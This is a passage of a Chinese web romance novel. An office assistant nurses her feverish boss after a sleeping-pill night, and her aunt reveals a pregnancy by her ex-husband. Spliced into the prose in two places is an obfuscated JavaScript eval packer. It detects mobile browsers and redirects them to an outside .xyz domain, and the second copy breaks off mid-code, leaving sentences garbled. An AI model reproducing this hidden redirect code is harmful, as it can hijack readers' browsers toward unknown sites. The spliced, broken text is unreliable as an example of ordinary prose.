保洁大爷见怪不怪,嘿嘿一笑:“你们年轻人就是嘴硬,我看他挺难过的,估计也心疼着你呢。回头撒个娇,哄一哄就好了。” 顾妙:“……” 我哄不好,你哄吧。 保洁大爷自己给自己捧场,一边扫地一边旁若无人地感叹:“年轻真好,胆子肥心也大,摔倒了随时爬起来再拼。” 顾妙边走边想:“大爷,你怕不是对年轻有什么误解。反正像我这样怂得输不起的年轻人一抓一大把。” 难怪现在一水儿公众号都在发文质问“年轻人怎么了”。 年轻人没怎么,就是知道得太多了。 提前知晓了事情的本质,却缺乏应对的经验和心态,活生生憋出来一份无处安放的伤春悲秋,搁谁谁不丧? 顾妙突然很羡慕那些佛系青年,不主动不拒绝,负不负责看心情——哎不对,这好像是“渣”的高级变种? 越想脑袋越乱了。 她甩甩头,在商场外广场的喷水池边坐了会儿,给顾肖发的那些军训内容的朋友圈挨个儿点了赞,估摸着魏如栩已经回到家了,她才慢悠悠地往回走。 没过两分钟,顾肖的电话就打过来了,刚一接通,那大嗓门差点刺破顾妙的脑仁儿。 “姐,你怎么了?干嘛给我点那么多赞,怪吓人的。”顾肖那边的背景音很杂,似乎还在外面。他估计练口号练的,说话声音比以前高了很多。 顾妙:“……我给你点赞还不好?骂你你才开心?你有受虐倾向?” 顾肖“嘿嘿”笑了两声:“咱们亲人之间不兴这样的形式主义,你要是挂念我,红包比较实际。” “不是说过不要钱呢么?这才几天,脸疼吗?”顾妙隔空发射了个白眼。 顾肖似乎没收到,臭不要脸地说:“红包不算钱,那叫心意。” “滚!” “姐,最近你和小姨都还好吗?我走了你们也不怎么给我发微信,也不汇报情况,是不是不把我当一家之主了?” “……”这娃前边的话还让顾妙心里软软的,还以为他转性了,没想到最后一句还是那么欠揍。 顾妙冷着脸:“请问你哪位,打错电话了吧?” “哎,我说真的。虽然本人日理万机,但还挺挂念你们的。”顾肖声音有点小沮丧,“有什么新鲜事要及时给我更新啊,我的心永远与你们同在!” 顾妙腹诽:“呸,说得这么冠冕堂皇,还不是八卦之心不死。” 看来魏如栩没跟他说自己搬过来住隔壁的事儿,小姨也没透露。虽然是亲人和朋友,相互都很有分寸感。 “你好好军训吧,操那么多闲心干什么。家里一切都好,别挂念了。”顾妙冷漠地敷衍他。 “真没劲,我所有事都主动汇报,从来都不隐瞒,你们倒好,啥都不跟我说。”顾肖哀嚎,“信息不对称啊姐!” 顾妙:“我们上班族一天到晚累得跟狗似的,哪有你们大一新生生活丰富,没什么可汇报的。小姨这几天可能闭关呢,估计她小说又难产了。你……” 顾肖那边突然传来了一个女孩的声音,听着像盛缘:“顾肖,抱歉让你等我这么久,走吗?” “走!”顾肖立刻对顾妙说,“好了姐不跟你聊了我们偷摸溜出去吃烧烤回头再给你打电话拜拜晚安我爱你!” “咔哒”一声,电话挂了。 顾妙:“……” 关心我和小姨?我呸!敢情是等人的时候无聊,才打个电话打发时间。 男人都是大猪蹄子,亲弟弟也不外如是。 嗯……小魏总除外。 魏如栩并没有get到顾妙这充满歉意的褒扬,他回家之后简单冲了个澡,根本看不下去文件,怕自己失眠,吞了两粒安眠药,直接歪倒在床上跟周公诉说心中苦闷去了。 明日又是新的一天。 顾妙洗完澡,强打着精神,集中注意力,把当天欠下的工作做了个七七八八,她打算先保量,明早到公司再重新微调修改。 最后半个小时她基本已经困得魂魄离体了,仿佛是在梦游状态写的总结,最后的一线清明告诉她,再这么撑下去毫无意义,肯定都要返工,还不如赶紧去睡。 强大的生理困意战胜了纷繁复杂的心理困境,顾妙睡得一夜无梦。 早上她关掉了最后一个闹钟再次睡去,不知过了多久,一个激灵醒了过来,抓起手机一看,坏了,药丸! 顾妙手脚麻利地洗漱完,扛起电脑就往外跑。一出门,她愣怔了一秒,去敲魏如栩家的门:“小魏总,你走了吗?” 没有回音。 都这个时间了,人家肯定上班去了。经过昨晚的心理剖白,他肯定不会再硬拉着她非要一起走——顾妙也不再犹豫,一路小跑去了地铁站,终于在8点59分成功把自己的员工卡按在了公司的开门感应器上。 前台笑着跟她打招呼:“别着急,喘口气,这不赶上了么。” 顾妙一手撑着腰,一手捏着员工卡,左臂勾着沉重的电脑包,风箱一般地大口呼吸着,挤出一个生无可恋的苦笑,冲前台点点头,拖拖拉拉地向办公室走去。 噫……想到要面对小魏总,顾妙又心虚又紧张。虽说昨晚经过一番救场般地插科打诨,告别的时候两个人还算有说有笑,但这毕竟是新的一天,不知道会有一个怎样的开始。 顾妙已经被早高峰和险些迟到耗得心力交瘁,暗暗祈祷魏如栩处于正常状态——互飙演技的时刻到了。 然而她的担心是多余的,顾妙一上楼,发现总经理办公室的外边大门是关着的。 她开了门进去,里面空无一人,小魏总难得一见地迟到了。 这倒也好,给了她调整的时间差。顾妙把自己的东西规整好,给魏如栩煮上咖啡,一切准备就绪,开始了她新一天的工作。 新一天的工作包括把昨晚写的天书重写一遍…… 一个小时过后,顾妙觉得不太对劲。魏如栩是个敬业爱岗的好领导,几乎从不迟到。如果有事,也会给她这个助理交待得非常详细,绝没有玩消失的爱好。 可现在他迟到了这么久,没有给顾妙发来只言片语,连微信也没有回复。 顾妙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459437|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实在不放心,直接打了电话过去,第一次觉得等待音令人如此焦躁。 更让她焦躁的是没有人接电话。 恰好看到盛然经过,顾妙顾不上过脑子,直接拉住他:“盛总,小魏总今天没有去跟爱伴宠物见面吧?” 盛然古怪地看着她:“这种事,你不应该比我更清楚吗?” 顾妙知道这种可能性微乎其微,只不过正好看到盛然,徒劳地问上一句。她心急如焚,来不及理会盛然的反应,松开他就往楼下走去。 盛然跟了几步,发现她出了公司大门,径直进了电梯,立刻给她打了电话。 一听手机响了,顾妙以为是魏如栩,谁知却是盛然,刚提起来的心立刻沉了下去。她努力掩饰住自己因为心烦意乱而颤抖的嗓音,压抑地问:“喂,盛总?” “如果需要帮忙,直接给我打电话。”盛然是个靠谱的人,他的声音听起来也让人很有安全感。 顾妙“嗯”了一声,慌乱地挂断。 打车回家的路上十分难熬,顾妙连着给魏如栩打了很多电话,都没人接,最后直接变关机了。 她强迫自己冷静下来,用逻辑推断,想起上一次魏如栩沉睡不醒是因为吃了安眠药,许是这次也一样。照昨晚他的心理状态,这的确是有可能的。 至于关机也好推测,被她打电话打没电了呗。 顾妙赶到家门口,才意识到,昨晚上只是她单方面给了魏如栩自己家的钥匙,这位仁兄还没把他家的钥匙交过来。 那还有什么办法呢?只能“咣咣”砸门了。 顾妙化身暴力拆迁队,一边砸一边喊:“老板!老板!” 反应是不可能有反应的,要是这样能叫醒,魏如栩早就接电话了好吗?! 顾妙想确认他到底在不在家,再一次打他的电话,收到提示音才郁闷——早知道刚刚不给他打那么多次了! 拜托啊小魏总,能不能以后还剩百分之五十的电量就赶紧充上?总是剩血皮才想起充电,关键时刻会死人的! 顾妙在魏如栩家门口急得团团转,虽然明知大概率就是因为他吃了安眠药才睡得这么沉,但她不敢掉以轻心。 万一他剂量吃多了呢? 万一昨天他借酒浇愁、后来又不小心吃了安眠药了呢? 万一根本不是药的问题,是他出了什么意外呢? 顾妙盯着魏如栩家大门,越发觉得里面就像是困住了她小魏总的刀山火海,无论如何也得闯一闯了。 于是顾妙打电话叫来了开锁大叔。虽然要开别人家的锁,必须要有合理的身份证明,但开锁大叔跟顾妙认识,还帮她家换过锁,连凌晏如新租的房子锁也是他给换的,也就没了那么多讲究。 顾妙想着锁既然给撬了,也得换套新的,顺带着在开锁大叔这里买了套最高规格的智能指纹密码锁,她也不管大叔卖得是不是比网上贵,反正为小魏总多花点冤枉钱她也认了。 开锁大叔手起锁落,魏如栩家的门就开了。顾妙离弦的箭一般冲了进去,一头扎进了魏如栩的卧室。 这货关着门,近九月中的天气还彻夜开了空调,屋里凉得像个冰窖。而他用被子把自己裹成了个球,缩得不见头不见脚,整个形状活像一条吞了大象的蟒蛇。 顾妙拿出对付顾肖的办法,一把揪开被子,就看见魏如栩满面通红像个大虾似地蜷在一起,身上滚烫,双目紧闭,也不知道这算是睡着还是昏迷。 “老板?!”顾妙把被子给他盖回去,当机立断关了空调,接着开窗透气,然后伏低身子轻轻叫了他一声,见他没反应,她拉了拉他的手腕,“醒醒!” 魏如栩似乎听到了她的声音,长长的睫毛动了动,可仍旧没睁眼。接着他又狠狠打了个冷战,顾妙赶紧把被子给他裹紧了一点,盖到下巴那里塞紧。 她拉开魏如栩的衣柜,发现这个拥有无数套衣服的男人,居然只有这么一床被子,气得有点牙痒痒。 顾妙郁闷地回自己家,门口大叔正在换锁,随口问了一句:“人没事吧?要我帮忙吗?” “有点发烧。”顾妙心事重重地说着,把自己和顾肖床上的薄被都拿来,捎带手带了根体温计。 那人已经把自己缩成虾米了,想要拉开他的胳肢窝是件困难的事儿,屡次尝试过后,顾妙把体温计钻头似地塞进魏如栩的腋下,又搞出了一身大汗。 也不知道塞没塞到位,只能先这样了。 五分钟的艰难等待中,顾妙把魏如栩的家里检查了一遍,床头柜上有安眠药,所以服药这部分是被证实了;家里没有任何酒类饮品,昨晚魏如栩出去之后,顾妙也是一路跟着他,能够断定他在这个过程当中没有喝酒,这才算放了心。 发烧应该是因为感冒受凉引起的,一边发着烧一边安眠药药效还没褪,除非被雷劈他才能醒过来吧。 电子体温计一直发出“滴滴”的响声,向四周昭告魏如栩的体温正在攀升,顾妙听得心里发慌。好不容易熬到规定时间,她把体温计抽出来一看,三十八度七。 “厉害了,小魏总。”顾妙绷着脸,“一鸣惊人啊!” 61. 第六十一章 惊不惊喜,意不意外 由于还没过三十九度,她还不至于大惊失色地打急救电话送魏如栩去医院。这样的日常疾病顾妙倒也hold得住。 开锁大叔把密码锁装好了,顾妙先输入了自己的指纹,把说明书留好,回头等魏如栩自己操作。 送走开锁大叔后,顾妙再次回家翻了一些常用药品带过来。 魏如栩烧得“神魂颠倒”,怕他吞不了那大药片子,顾妙急中生智,拐来了小狼的喂药器。 她先把退烧药磨碎了用温水冲开,晾凉了之后,用被开水烫过消毒的喂药器抽了一管子,撬开魏如栩的嘴打了进去。 魏如栩全身火烧火燎,嘴唇干得爆皮,嘴里突然被注入了这等冰凉的“甘泉”,简直是迫不及待地吞咽,反正他麻木的舌头也尝不出苦味。 顾妙一管一管地给他“打药”,突然想到,万一要是没有这个喂药器,难不成自己还得像电视剧里演的那样,嘴对嘴给他度药? 呸!顾小妙,请专注! 一杯子“药水”很快打完了,顾妙在魏如栩的额头上贴了退烧贴,又拿着酒精片在魏如栩手脚的关键穴位上擦拭,试图给他物理降温。 然而擦了没几下,魏如栩闭着眼拧着眉,嗫嚅着嘴唇说了几个字。顾妙把耳朵凑到他嘴边才听清,这人说的是“冷”。 身上已经盖了三层被子了亲,你是要化身千层面吗? 顾妙伸手进他被子里,摸了摸他的手臂,发现他已经有点出汗了,赶紧把他的手脚再塞回去,免得再晾着。 然而魏如栩还是孱弱地叫着冷,一声声地哼唧着,像只小绵羊。 “说,你是不是故意的?”顾妙坐在床边,严厉地盯着他,“求抱抱的招数怎么这么多呢?” 她看着魏如栩烧得满脸通红的样子,觉得这事自己也脱不了关系,语气就不由地软了下来:“这是第二次,记住,事不过三啊。这不是在考验你,这是在考验我。我可经不起考验,回头我脸都给打歪了可怎么办?!” 顾妙一边说着,一边在魏·千层面·如栩身边躺下,伸出双手紧紧抱住他,强行挽尊道:“今天为了你,我忙了一身大汗,你可不能嫌我有味道。” 不知道是不是隔了三层被子魏如栩也能感觉到顾妙身上的体温,他本能地向她怀里拱了拱,不再喊冷了。 “孽缘啊……”顾助理心里苦,哀叹了一会儿,突然松弛下来的神经勾起了浓浓睡意,她一不小心睡了过去。 魏如栩醒来的时候浑身大汗淋漓,感觉像被裹在了蚕蛹里,连头发根儿都湿透了。下一秒,他就听到了属于另一个人的鼾声,仰头一看,看见了一个虽然窘迫、但却是世界上最美的侧脸。 那人睡相不好,所以总是打鼾,幸好平时也不太严重。她仿佛是被魏如栩的头发搔到了脸颊,本能地低了低头,在他头顶蹭了蹭,像是挠痒,又像是安抚。 魏如栩盯了她半晌,轻轻动了动,发现自己动弹不得。他努力支起头看了看,顿时无语。 顾助理,你这样八爪鱼似地扒在我身上,真的好吗? 魏如栩放下沉重的头,再次撩起眼皮向上凝视顾妙的侧脸,面无表情地心想:“死在她怀里算了。” 他本想能多躺一会儿就多躺会儿,顾妙这两天心力交瘁,肯定也没休息好,让她好好睡一觉。 可是有一项生理本能忍不了——小魏总想去洗手间。 在湿漉漉的被窝里犹豫了五分钟,魏如栩决定尝试着从另一边溜出去,他螃蟹似地平移了几厘米之后,顾妙就像被电击了似地猛地一哆嗦,醒了过来。 “你干什么?!”顾助理头脑还不清醒,猛然间手脚都使了劲儿,扣住魏如栩,活像一个大蛤蜊。 魏如栩回头看她,尴尬地咧咧嘴:“上厕所……” 顾妙总算醒了盹,意识到自己干了什么,赶紧松开他,从床上起来,别扭地站在床边:“……昂,那你去吧。” 既然她也醒了,魏如栩就不必再舍近求远,便从顾妙这一侧下床。他刚一掀被子,意识到不对,随即又捂了回去。 对,小魏总跟绝大多数普通男人一样,在自己家睡觉是只穿一条内裤的。 而且小魏总还要脸,在练出八块腹肌之前,没有打算在顾助理面前露这么多肉。 他觉得脸上一热,也不知道是脸红了还是发烧烧的,幸好顾妙也看不出来。 但顾妙看出来他坐在床上不动弹,面带尴尬之色,关心地弯腰问道:“是不是身上没劲儿?我扶你——唔,温度降下去了。” 魏如栩往后躲了躲,指指旁边椅子上搭的家居服:“帮我把衣服拿来。” 顾妙这才反应过来,她一个妙龄少女,在之前没有注意的情况下,基本已经把小魏总这个妙龄少男看光光了。 “害什么羞啊!”顾妙假装豪放,拎过家居服扔给魏如栩,大言不惭地说,“我养大个弟弟,什么没见过。” 魏如栩在被窝里窸窸窣窣地穿上裤子,又套上T恤:“吹牛不打草稿——你把顾肖拉来问问,看你都见过他哪儿。明明脸皮薄得很,非要装得见多识广,小心自食其果。” 顾妙张了张嘴,想反驳他几句,实在没找到词儿,只好作罢:“穿好了吗?不怕尿裤子?” “扶我,腿软。”魏如栩装模作样,递出来一只手。 顾妙甩给他一记眼刀,向前微微探了探身子,敷衍地拉住他的手腕。 魏如栩也反手扣住她的手腕,使劲一起——坏了,腿软,没站住,真不是装的! 一阵天旋地转,魏如栩往后栽去。活该顾妙刚刚没走近,现在重心不稳,被他带着也摔了过去。 电视剧里常见的女主角摔进男主角怀里、并且脸摔在对方嘴上桥段并没有发生,事实上,由于两个人刚刚的站位存在半步之差,顾妙倒下去的时候一头撞在了魏如栩坚硬的胸口上,别说她觉得脑子有点晕,病弱体虚的小魏总差点当场咳出血来。 魏如栩捂着胸口好悬才喘上气:“……你是不是练过铁头功?” “没事吧?”顾妙一骨碌爬起来,慌乱地轻轻揉了揉他的胸口,“撞疼了吗?” “哎哎哎,别乱摸。”魏如栩抓住她到处乱动的手,虚弱地说,“真是趁我病,要我命。快带朕去上厕所!” 顾妙小心翼翼地把他拉起来,扶着他往洗手间走去:“谁让你自己作,都什么天气了还开空调睡觉?” “不开空调有点闷,开了空调有点冷,开空调盖被子正好。”魏如栩虽然病恹恹,但仍旧一副振振有词的样子,到了洗手间门口,他又下了命令,“你,去卧室等着。” 顾妙一脸懵逼:“?” 卧室这个词很微妙的好吗? 魏如栩看她满脸强行高深莫测,敲了敲她的脑壳,无奈地说:“让你躲远点。脑子里都什么废料。” 顾妙抽了抽嘴角:“躲远点干什么,你还能滋我一身不成?” 魏如栩:“……” 祖宗,听听,你说的这是人话吗? “我好了,我真的好了,烧都退了,你跪安吧。”魏如栩扯着头发,欲哭无泪,“算我求你了,放你一天假,两天三天也行,回去休息吧,把脑子养好了再上班。我一会儿就跟HR打电话。” 顾妙面无表情地说:“我们社畜不配放假,放一天就堆一天工作,放三天就有可能要用六天来补。你快尿去吧,不然就尿裤子了。我去给你换床单。” 魏如栩一把抓住她:“你别去,我自己来。你又不是我保姆。” “我是你助理。” “又不是生活助理。你刚才都已经在控诉工作做不完了,我这个资本家不能再剥削你。”魏如栩推着她往外走,“不放假你就去上班吧。剩下的我自己来,快走快走。” 顾妙被他推着,忙不迭地说:“哎,大门锁我给换了,密码还没设,说明书在桌上,你自己录完指纹顺便设个密……” “咣”地一声,顾助理被拍在了门外。 “老板,我的手机。”顾妙怯生生地敲了敲门。 门开了一条缝,一只修长的手把她的手机直接扔了出来。 顾妙双手哆嗦了一下,那手机在她手上弹了几弹才被她紧紧抓住,吓得她一身冷汗。 “摔坏了找你赔个最贵的!”顾妙低声冲着大门嚷道。 看看时间已经过了下午一点,她往公司赶的路上顺便给魏如栩定了个外卖,生怕他病病殃殃没精神盯炉子,再搞出个好歹来。 想了想,顾妙还有点不放心,给凌晏如发了个微信:“小姨,你在闭关吗?要是卡文了,不然出来溜达一圈散散心?小魏总发烧了,在家窝着,你有时间的话,替我去看他一眼?” 谁知信息石沉大海,半天没动静。顾妙也不太敢催码字期的小姨,这位发起急来也是六亲不认。 直到她回了办公室,在座位上心神不宁地扭了一会儿,才收到凌晏如的回复,简单的一个字:“嗯。” 顾妙这才算放了心。 安静没一会儿,有人过来敲了敲门,她抬头一看,是盛然。 “盛总。”顾妙立刻站起来。 盛然笑了笑:“把小魏总安顿好了?” “嗯,人退烧了,把我赶出来了。” 听了这话,盛然不知道想到了什么,诡异地笑了笑,随口安慰她:“发烧而已,应该没什么大事,你也不用总惦记着。” 顾妙:“……” 这么明显吗? “毕竟是老板嘛,身份金贵。”顾妙强行找理由,“也没事,我刚刚跟小姨打了招呼,她要是闲了会过去照看一下。” 盛然迅速从这句话里提炼了一个关键词:闲。 “她最近很忙吗?”盛然迫不及待追问道。 顾妙仔细拿捏透露信息的分寸,避免胳膊肘往外拐:“据我猜测,可能是写小说遇到了瓶颈,这几天也不怎么跟我们联系,不知道她具体什么情况。” 盛然:“那她答应你了吗?” “回了一个字,‘嗯’,不知道算不算答应。”顾妙苦笑着。 盛总你不要这样,搞不好我会被小姨追杀到天涯海角的。 可能盛然听到了她的心声,冲她笑着一点头,放下一句“那你忙”,就回了自己的办公室。 顾妙坐回椅子上,不由地慨叹,她弟“六亲不认”地追盛总的侄女,至今还不开口挑明;盛总剃头挑子一头热地追她小姨,到目前为止还只敢畏畏缩缩打游击,这都是什么孽缘哟喂! 盛然其实还没这么费心巴力地追过谁。 他长得怎么说也是非常精神,年轻的时候也是“草”一级的人物,上大学在操场上随便打个篮球也能吸引一群女孩子观看,不过那时候民风尚淳朴,大家还不敢大大咧咧喊着要给他“生猴子”。 毕业之后上班,从低做起,凭着一张俊脸和越磨越精的业务能力,盛然更是无往而不利,成了“白骨精”之后,对他有意思的人就更多了,别提女的,男的也有不少。 要不是盛总铁直,且志不在乱搞,不然也能成圈子里一朵娇艳的交际花。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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面对老母亲的质疑,盛然并不着急说服她,亲妈说什么他都点头,表示自己一定会慎重考虑。 他知道自己如果一味站在凌晏如那边,就一定会让母亲对她先入为主地产生不好的印象。所以盛然也只是说两人还在接触中,将来还不一定会怎么样,让老妈先别着急上火。 可是知子莫若母,郝老太太能养出俩聪明儿子,本人自然不会傻到哪里去。她明白现在盛然肯定在套路她呢,如果不是真动了认真的心,这个孩子不会这么早就给她打预防针。 老母亲一通愁哟,她知道盛然主意大,将来未必会听她的,但如果她强烈反对,最痛苦的一定是她这个孝顺儿子。 不想让儿子受折磨,又不想让儿子娶离过婚的女人,郝老太太在花甲之年陡然遭遇了人生最难的选择题,连平时最爱跳的广场舞都觉得索然无味了。 亲娘的表现盛然是看在眼里,也疼在心上,彼时套路老妈一时爽,现在追妻毫无进展,他自己倒有点进了火葬场的意思。于是后悔不该跟老妈说这么早,让老人家备受煎熬。 他要是告诉老妈,他有心追,人家凌晏如还没心搭理他,估计郝老太太就得送医院心脏搭桥去了。 原本想的是圈地占坑,现在变成画地为牢,一路顺风顺水过来的盛总有点恨自己不争气,他有心奋起直追,但又怕自己表现得太过狂热,把凌晏如给吓跑了。 对凌晏如的婚史他有所了解,设身处地为她想,盛然也懂,刚刚结束多年婚姻,谁也不想这么快再次踏入围城。 在这一方面,他看到的又是凌晏如的好。 她不想跟谁有固定的关系,因此跟盛然也是一遍遍重复不会做男女朋友,说得斩钉截铁、清晰明确、一点不含糊, 是盛然自己,打着朋友的幌子,堪称“恬不知耻”地想办法接近她,钻了各种空子,反复拿捏各种分寸,才把两人关系堪堪固定在了退一步撒有哪啦、进一步会被打爆狗头的“薛定谔的好友”状态。 他总觉得,只要自己肯努力,一定能给凌晏如重新接纳固定关系的信心。或许老天让她第一次婚姻失败,就是为了在这个时候遇见自己。 当然,这种话他只敢在心里想想,绝不敢说出来。跟老妈说会被以为精神错乱,跟侄女说会被认为他中二期还没过,跟朋友说会被群嘲,跟凌晏如说——估计会被捏爆蛋蛋吧…… 看起来四平八稳的盛总,在感情上还挺文艺青年的。 凭空发呆了许久,盛然摩挲了半天手机,才组织好语言,战战兢兢给凌晏如发了消息:“这两天忙吗?” 半晌,没有回复。 盛总安慰自己,这也正常。五条回一条是凌晏如的作风。 于是他过了一会儿又说:“上次你喜欢的那个包,我托人帮你买了,已经转交给了顾妙,让她带给你。” 这句刚发送过去,他下一句“千万别提钱,这包也不贵你知道,就当中秋节礼物”还没打完,凌晏如回复了。 现金转账,附言“谢了”。 盛总叹了口气,调侃地说:“要是不能接受,回赠我个差不多的礼物也够还人情啊,何必现金来往这么现实,怪让人伤心的。” 凌晏如冷酷无情:“收钱。” 不收就不能保持在薛定谔状态了,盛然一怂,点了收款。 “收了,满意不?”盛然犹豫了一下,追加了句,“最近还好吗?写稿太焦虑的话就出来走走,周末我带你去爬爬山怎么样? 凌晏如很快发来回复:“好得不能再好了。” 随即附上一张照片,好像是张医院的化验单。 盛然还没来得及仔细看,就收到了她发来的文字解读:“讲个鬼故事:我怀孕了,前夫的。” 惊不惊喜,意不意外? 62. 第六十二章 欧皇 凌晏如盯着手机屏幕,看到上面“对方正在输入”显示了至少有两分钟,低声叹了口气。 估计错乱得不知道该说什么好了吧。 这个当头一棒是不是有点狠了?把娃吓着了? 吓着也好,至少这样他就不会再这么傻固执。 以盛然这样的条件,有大把不嫌弃他带着母亲和侄女一起生活的妙龄女子愿意投怀送抱,只是他一时还没遇上而已,何苦栽在自己这汪老泥潭里。 凌晏如的心也是肉长的,哪受得了盛然这样小火慢炖,要不是她革命意志力坚定,加之良心还会痛,早就屈服于他的美色了。 收到怀孕化验报告这样的硬核拒绝,相信没有哪个男人还会执迷不悟。 这些天凌晏如销声匿迹,起初是因为卡文,前两天她被卡得十分暴躁不想理人,于是单方面斩断了跟这个世界的联系,除了偶尔回复一下顾妙的微信,其他人的消息全都不予理睬。 反正世界上少了她也照样运转,她就要在家里这样狗下去。 说来也怪,卡文的时候,除了想不出情节该怎么发展才好,其他的思绪倒是纷至沓来,一锅线头似地绞在一起,剪不断理还乱。 凌晏如觉得肯定是大姨妈紊乱惹的祸,让她这么焦躁不安。 她向来有月经不准的症状,这是老毛病了,多囊卵巢综合征,也是她不容易怀孕的直接原因。这个病症不是不能治,经过一段治疗怀孕的也有不少,就是到了凌晏如这儿,好像脸黑得不行,是非酋中的非酋。 在各种治疗都没什么明显成效之后,凌晏如基本放弃了自己,这才间接导致了她的婚变。 之所以说是间接原因,是她觉得,你嫌弃我不能生这没关系,可以直接跟我说,早离早散。出轨就是你不对了吧? 嗐,过去的事不必再提。 其实上个月姨妈没来凌晏如已经注意到了,但她觉得可能是办离婚的事儿导致情绪波动大,影响了月经周期,完全没放在心上。 可联系自己这段时间来的表现,早上稍微有点恶心,不严重,平时没太有食欲,总觉得浑身没劲儿,爱宅在家里,最近还特别爱吃酸的——她顿时想到了跟盛然的一夜情。 由于自己是怀孕绝缘体,凌晏如在避孕方面就不怎么注意,当然跟盛然还是采取了安全措施的,毕竟那也是她第一次跟陌生男人上床。 但她也知道,没有百分之百的安全措施,可是对于她而言,一次就开大,这欧气真实得不!像!话! 为了证明自己依旧是非酋,凌晏如买来了验孕棒,结果被那小小的加号狠狠打了脸。 真是匪夷所思!隔着不孕体质和安全措施,这只小蝌蚪还能成功找到妈妈,莫非这蝌蚪成精了? 凌晏如几乎疯球了,测了十支验孕棒都是同样的结果,于是今天一早,她爬起来就去了医院。 抽血,验孕! “咣叽”一声,化验单出来,怀孕两个月。 欧皇。 不是盛然的,时间不赶趟。 是前夫的。 医生绷着脸,圆溜溜的大眼珠子越过眼镜瞅着她:“怀孕两个月自己都不知道?对自己身体这么不负责任的吗?” 凌晏如无话可说,大夫您训得对。 她顶着一脑门训斥,在医院的大厅里坐了半天,直到收到顾妙让她去看一眼魏如栩的微信,才想起来往家走。 刚进小区,盛然的微信就好死不死地撞了上来。 既然这么顺便,不告诉你就算我没义气了。 盛然打了半天字,终于打出来一行:“牛逼啊!你什么打算?” 凌晏如气乐了,嘿,这人怕不是精神错乱了? 她回复说:“没打算,我想静静。” 盛然又过了半晌回复了一句:“那好,不扰你。” 这句话看着比较理性,估计他已经get到了中心思想,也已经调整到了最正确的态度。 凌晏如松了口气,好了,从今往后,可不用我再担着心,一不小心就对不住你了。 桥归桥,路归路,见面还能打个招呼,就算最佳状态了。 凌晏如浑浑噩噩地走着,大脑里空白一片,而后想起要去看一眼生病的魏如栩,就倒回小区门口的药店,买了一包口罩。 还没想好要不要这个孩子,但至少也得做好准备。 她拖着沉重的身体一步一步上了楼,到了顾妙家门口,呃,先捡到了一个无家可归的娃。 魏如栩裹着一条夏凉被,靠在顾妙家的大门边上睡着了,脚边是一摞外卖饭盒。 头发凌乱,胡茬冒了出来,是个十足的流浪汉形象。 啧,就人家这颜值,就算上街要饭,也是犀利哥那类的。 凌晏如掏出口罩来戴上,弯腰轻轻推了推魏如栩的肩膀:“如栩?” 魏如栩抬头看见是凌晏如,差点要哭出来,在他二十多年的人生里,还没有这么无助过啊!幸亏挽救他的是小姨,不是顾妙,要不然他高大光辉的形象就不保了! “小姨!”魏如栩坐得腿麻了,扶着门站起来。 凌晏如摸了摸他的额头:“哟,好像又有点烧。你怎么坐这儿了啊?快进来吧。” 她赶紧开门,放魏如栩进了家。小狼就在门口蹲着,敢情是一直隔着门陪他干爹聊天来着? 魏如栩裹紧身上的小花被子,哭丧着脸:“别提了,顾妙帮我订了外卖,那小哥不愿爬楼,非要我下去拿。手机正充着电,我懒得拔,晕晕乎乎直接出门了。门关上才想起来,顾妙刚给我换了锁,还没输入我的指纹。我没拿手机,也没办法问她初始密码。幸好出门的时候觉得冷,抓了条被子裹着……” 凌晏如赶紧从保温壶里接了杯温水递给他:“哎哟,真够可怜的。要不是妙妙让我过来看你一眼,你这还不得等到晚上她下班?好好的她干嘛给你换锁?” 魏如栩喝了水,觉得浑身暖过来一点,把大致事情给凌晏如说了一遍,害得她白眼差点没翻到后脑勺去。 “行吧。”凌晏如心服口服,抓着魏如栩进了顾肖的房间,“床上躺着,给你再试试体温。” “体温计也在我家里……”魏如栩坐在顾肖床上,声如蚊讷。小狼跟着跳上了床,守在他身边。 遥远的顾肖哥哥要是知道小狼上了他的床,不知会作何感想。 凌晏如在客厅电视柜里翻找着:“家里好几根呢。” 试体温的时候,魏如栩跟凌晏如尬聊:“小姨,你怎么戴着口罩,也感冒了?” “没有。”凌晏如坐在书桌边的椅子上,若有所思,“我怀孕了,怕你传染我。” 魏如栩:“?!” 是盛然的吗? 盛然要变小姨夫了吗? 顾妙知道了吗? 无数个问号把小魏总塞成了懵逼脸,可惜他一个问题都不敢问,直愣愣地看着凌晏如。 好一会儿凌晏如才回过神来,看着魏如栩空白的表情:“哦,是我前夫的,今天刚查出来。” 魏如栩再次:“?!” 盛然知道吗? 盛然怎么办? 替盛然点一根蜡。 可惜凌晏如不知道魏如栩都知道些什么,看他呆若木鸡的样儿,心想他果然还是个孩子啊。 魏如栩觉得自己不说话也不合适,显得空气太过安静,于是小心翼翼地问:“你有什么打算?” 凌晏如茫然:“不知道啊,真是人生难题。” 刚从围城里放出来,还没恣意玩乐呢,突然娃从天降。 她觉得自己可能上辈子做了什么孽叭。 “不要的话,或许很难再有孩子了。要的话,以后就要当单亲妈妈。”凌晏如哭笑不得,自言自语般地说,“我一个人怎么过都行,有了孩子就不一样了,得负责任。这事儿我可没把握,我连自己的生活都还没过明白呢。” 她想了想,继续说道:“前夫那儿还不知道怎么办。我打心眼儿里不想跟他说,也不图他给什么抚养费,他那边也快有孩子要生了,哪顾得上我这个。不跟他说也不太合理,毕竟他是孩子的爸爸,可是说了……我还有点担心他跟我争抚养权。” 这全都是魏如栩帮不上忙的问题,他心疼地看着凌晏如:“小姨你也别急,等顾妙回来大家一起商量,帮你出主意。那个渣男要跟你抢抚养权,我就找我爸,帮你找最好的律师跟他打官司。” 凌晏如看了他一眼,似乎才反应过来是跟谁在说话,苦笑了一下:“瞧我,跟你说这些干什么。” “能说出来也好,憋在心里多难受。”魏如栩本来就是个善解人意的人。 凌晏如笑笑,不置可否:“体温计拿出来看看。” 